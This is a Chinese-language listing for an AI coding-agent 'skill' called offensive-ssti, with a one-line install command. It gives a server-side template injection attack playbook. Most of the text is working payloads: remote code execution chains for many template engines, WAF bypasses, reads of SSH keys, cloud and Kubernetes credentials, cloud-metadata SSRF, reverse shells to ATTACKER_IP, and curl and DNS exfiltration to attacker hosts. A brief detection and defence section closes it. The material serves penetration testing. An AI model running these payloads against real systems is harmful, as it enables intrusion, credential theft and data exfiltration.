关于 offensive-ssti
用于评估 Web 应用服务端模板注入的进攻性安全技能,面向安全测试人员。涵盖引擎识别、利用路径、过滤绕过及安全的概念验证记录。
主要功能
- 01模板引擎指纹识别
- 02注入入口映射
- 03引擎专属利用链
- 04过滤器与 WAF 绕过
- 05盲测与带外测试
- 06安全概念验证记录
适用场景
- 01测试用户可控的模板输入
- 02根据错误识别模板引擎
- 03评估文件和数据泄露风险
- 04记录非破坏性测试证据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-ssti安装后在 Claude Code 中输入/offensive-ssti确认已加载。
详细介绍
服务端模板注入(SSTI)——攻击方法论
只要用户可控的输入被拼接到服务端模板字符串中,并由引擎将其作为代码求值,就会存在 SSTI。引擎会执行攻击者提供的指令,从而赋予攻击者访问语言运行时的权限;几乎所有引擎都能通过宿主语言的对象模型实现远程代码执行。任何将原始用户输入传递给 render_template_string()、Template() 或 compile() 等函数的应用,都可能遭遇 SSTI。
CWE-1336。MITRE ATT&CK T1190。
快速工作流
- 梳理注入面:URL 参数、POST 请求体、JSON 值、路径段、标头、Cookie。
- 注入多态探测字符串和特定引擎的算术表达式;记录求值结果、错误或空白输出。
- 通过决策树探测、错误特征和变量枚举识别引擎(第 1 节)。
- 确认服务端执行——排除客户端模板注入(AngularJS、Vue.js)。
- 提升到信息泄露:转储配置、环境变量、机密信息和内部路径。
- 使用特定引擎的利用链实现代码执行;若受到阻拦,则使用绕过技术(第 6 节)。
- 串联利用以造成更大影响:读取文件、向云元数据发起 SSRF、反向 Shell、内部横向移动。
- 制作非破坏性 PoC,使用唯一标记并捕获完整的请求/响应链。
1. 引擎检测与指纹识别
1.1 多态探测字符串
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)
缩小引擎范围的探测:
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)
对于 Velocity,注入 #set( $x = 7 * 7 ),然后引用 $x。
对于 Thymeleaf/SpEL,注入带有 T(java.lang.Math).PI 的美元符号-花括号表达式。
对于 Mako,注入带有 self.module.__name__ 的美元符号-花括号表达式。
1.2 决策树
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor
1.3 错误特征
| 特征 | 引擎 |
|---|---|
jinja2.exceptions.UndefinedError | Jinja2 |
Twig\Error\SyntaxError | Twig |
freemarker.core.ParseException | Freemarker |
org.apache.velocity.exception | Velocity |
com.mitchellbosecke.pebble.error | Pebble |
SmartyCompilerException | Smarty |
mako.exceptions.SyntaxException | Mako |
带 Handlebars 上下文的 Parse error | Handlebars |
带 ERB 路径的 SyntaxError | ERB |
org.thymeleaf.exceptions.TemplateProcessing | Thymeleaf |
带 .ejs 路径的 SyntaxError | EJS |
Pug:Error | Pug |
1.4 盲测检测
基于时间: {{range(99999999)|join}}(Jinja2)、<%= sleep(5) %>(ERB)。
对于 Java 引擎,注入带有 T(java.lang.Thread).sleep(5000) 的美元符号-花括号表达式。
带外 DNS: 使用 Burp Collaborator 或 interactsh。Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}。
Twig:{{['nslookup UNIQUE.oastify.com']|map('system')}}。
错误推断: 比较 {{7*7}} 与 {{7*'INVALID}}——不同的响应行为可确认模板处理。
2. Jinja2/Python
利用依赖于沿 MRO 遍历到 object、枚举子类,以及访问 __globals__/__builtins__。
2.1 MRO 遍历与子类枚举
{{''.__class__.__mro__[1]}} # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
2.2 RCE 利用链
# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
2.3 文件操作与信息泄露
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}} # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
{{request.environ}} # WSGI env
3. Twig/PHP
3.1 旧版(Twig 1.x)——_self.env
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
3.2 现代版本(Twig 2.x/3.x)——过滤器回调
{{'id'|filter('system')}} # filter() with system
{{'id'|filter('passthru')}} # filter() with passthru
{{['id']|map('system')|join}} # map() callback
{{['id',0]|sort('system')|join}} # sort() callback
{{[0,'id']|reduce('system')}} # reduce() callback
3.3 信息泄露
{{app.request.server.all|join(',')}} # Symfony server vars
{{dump(app)}} # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
{{'/etc/passwd'|file_get_contents}} # If exposed as filter
4. Java 模板引擎
4.1 Freemarker——Execute 与 ObjectConstructor
通过 Execute 类实现 RCE——使用 <#assign> 实例化该类,然后在美元符号-花括号表达式中引用它,并将命令字符串作为参数:
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com
用于 ProcessBuilder 的 ObjectConstructor:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>
4.2 Velocity——Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
4.3 Pebble -- 反射链
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
4.4 Thymeleaf -- 通过预处理使用 SpEL
Thymeleaf 会在解析模板前对双下划线包裹的表达式求值。可注入路径变量或参数:
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com
读取文件:
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com
通过 Character 引用绕过 SpEL 关键字:
T(Character).toString(105).concat(T(Character).toString(100)) 会生成 id。
访问 Spring Bean:@environment.getProperty('spring.datasource.password')。
5. 其他引擎
5.1 Smarty (PHP)
{$smarty.version} # Version disclosure
{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
5.2 Mako (Python)
Mako 会编译为 Python 模块,可完全访问运行时。块式写法:
<% import os; result = os.popen('id').read() %>
然后在美元符号和花括号表达式中输出变量。URL 编码的单行写法:
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com
5.3 ERB (Ruby)
<%= system("id") %> # Command exec
<%= `id` %> # Backtick exec
<%= File.open('/etc/passwd').read() %> # File read
<%= Rails.application.credentials.secret_key_base %> # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
5.4 Handlebars (Node.js)
其设计本身不含逻辑;要实现 RCE,需要原型污染或不安全的辅助函数:
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}
5.5 EJS (Node.js)
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
通过 outputFunctionName 实现原型污染:
POST /render HTTP/1.1
Content-Type: application/json
{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
5.6 Pug / Nunjucks (Node.js)
Pug:
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x
Nunjucks:
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
6. 过滤器和 WAF 绕过
6.1 绕过字符限制 (Jinja2)
# Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}
# Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
# Or pass via request param: ?a=__class__
{{''|attr(request.args.a)}}
# Brackets/quotes blocked -- chain |attr() with request.args
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
6.2 字符串构造
# Tilde concatenation
{{''|attr('__cla'~'ss__')}}
# Join filter
{{''|attr(['__cla','ss__']|join)}}
# Plus in brackets
{{''['__cla'+'ss__']}}
# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
# Twig tilde
{{('sys'~'tem')('id')}}
6.3 属性访问替代方式
{{obj|attr('__class__')}} # |attr() filter
{{obj.__getattribute__('__class__')}} # __getattribute__
{{obj['__class__']}} # bracket notation
{{obj|attr('__getitem__')('key')}} # |attr() + __getitem__
6.4 编码与走私
# Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}
# Request parameter smuggling
# URL: ?c=__class__
{{request|attr(request.args.c)}}
# URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}
6.5 WAF 规避技巧
Parameter splitting: ?a={{&b=7*7&c=}}
HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
Double URL encoding: %257B%257B7*7%257D%257D
Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)
6.6 特定引擎的绕过方式
Freemarker -- 限制 ?new() 时,使用 ObjectConstructor:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
Thymeleaf -- 通过构造 T(Character).toString() 调用生成字符串,以避开关键字过滤器。
7. 盲注利用
7.1 基于时间
{{range(99999999)|join}} # Jinja2: CPU-intensive delay
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('time').sleep(5)}}
{% endif %}
{% endfor %} # Jinja2: explicit sleep
{{['sleep 5']|map('system')}} # Twig
<%= sleep(5) %> # ERB
Freemarker:赋值 Execute,并使用 "sleep 5" 调用。Thymeleaf:在预处理包装中使用包含 T(java.lang.Thread).sleep(5000) 的美元符号和花括号表达式。
7.2 带外 DNS 回调
# Jinja2 -- confirm execution
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}
# Jinja2 -- exfiltrate data in subdomain
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twig
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB
7.3 错误与布尔推断
{{config.__class__.__name__ + 1}} # Type error leaks data in error page
{{1/0}} # Division by zero with engine info
# Boolean blind -- extract character by character
{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}
8. 链式利用
8.1 SSTI 到 SSRF
# Cloud metadata
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
# Internal service access
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
8.2 SSTI 到文件读取
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process env
8.3 SSTI 到反向 Shell
Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
Freemarker:赋值 Execute,并使用
bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i} 调用。
ERB:
<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
8.4 SSTI 到提权枚举
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
8.5 SSTI 到数据外泄
# Chunked DNS exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
# HTTP POST exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}
检测 / 防御者视角
攻击指标:
- 输入中的模板分隔符:
{{、{%、<%、#{、#set(、<#assign。 - MRO 字符串:
__class__、__mro__、__subclasses__、__globals__、__builtins__。 - Java 反射:
getRuntime、ProcessBuilder、forName、T(java.lang。 - 用户触发的请求在响应中出现模板错误。
失陷指标:
- Web 工作进程启动了异常子进程(
sh、bash、curl、nslookup)。 - 应用进程在
/tmp或 Web 根目录中新建文件。 - 向回调服务或不熟悉的 IP 建立出站连接。
- 不应查询 169.254.169.254 的容器访问了云元数据。
防护措施:
- 切勿将用户输入拼接到模板字符串中 -- 应使用模板变量。
- 在 CI 中阻止危险 API:
render_template_string()、传入用户输入的Template()、Environment.from_string()。 - 启用沙箱:Jinja2
SandboxedEnvironment、FreemarkerSAFER_RESOLVER。 - 将 Twig 过滤器和函数限制在安全允许列表中。
- 禁用 Smarty 中的
{php}、EJS 中的compileDebug,以及 Thymeleaf 中的 SpEL 预处理。 - 以最小权限运行应用,使用 seccomp/AppArmor 和只读根文件系统。
- 将 WAF 规则作为纵深防御(绕过技巧见第 6 节)。
- 跟踪 CVE:CVE-2024-22195(Jinja2 xmlattr 绕过)、CVE-2024-46507(Yeti RCE)。
交互速查表
| 阶段 | 操作 | 工具 / 技术 |
|---|---|---|
| 侦察 | 绘制输入反射点 | Burp Suite、waybackurls、qsreplace |
| 检测 | 注入多态载荷和算术探测 | ffuf、Burp Intruder、手动 |
| 指纹识别 | 通过决策树 / 错误识别引擎 | 错误特征、变量探测 |
| 验证 | 确认服务端执行 | 时间分析、源码检查 |
| 利用 | 使用特定引擎的 RCE 攻击链 | tplmap、SSTImap、TInjA、手动 |
| 绕过 | 规避 WAF / 过滤器 | 第 6 节技术 |
| 盲注 | 带外、基于时间、基于错误的方法 | Burp Collaborator、interactsh |
| 提权 | 链接到文件读取、SSRF、shell、提权 | 第 8 节攻击链 |
| 证明 | 使用唯一标记的非破坏性 PoC | DNS 回调、唯一文件 |
工具速查
# tplmap
python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
# SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
# Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable
重要参考资料
- PortSwigger 研究:https://portswigger.net/research/server-side-template-injection
- PortSwigger SSTI 实验室:https://portswigger.net/web-security/server-side-template-injection
- PayloadsAllTheThings SSTI:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI:https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
- tplmap:https://github.com/epinna/tplmap
- SSTImap:https://github.com/vladko312/SSTImap
- TInjA:https://github.com/Hackmanit/TInjA
- Jinja2 沙箱:https://jinja.palletsprojects.com/en/3.1.x/sandbox/
- Spring SpEL:https://docs.spring.io/spring-framework/reference/core/expressions.html
- Freemarker 安全:https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
- OWASP SSTI 测试:https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Tests/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- CWE-1336:https://cwe.mitre.org/data/definitions/1336.html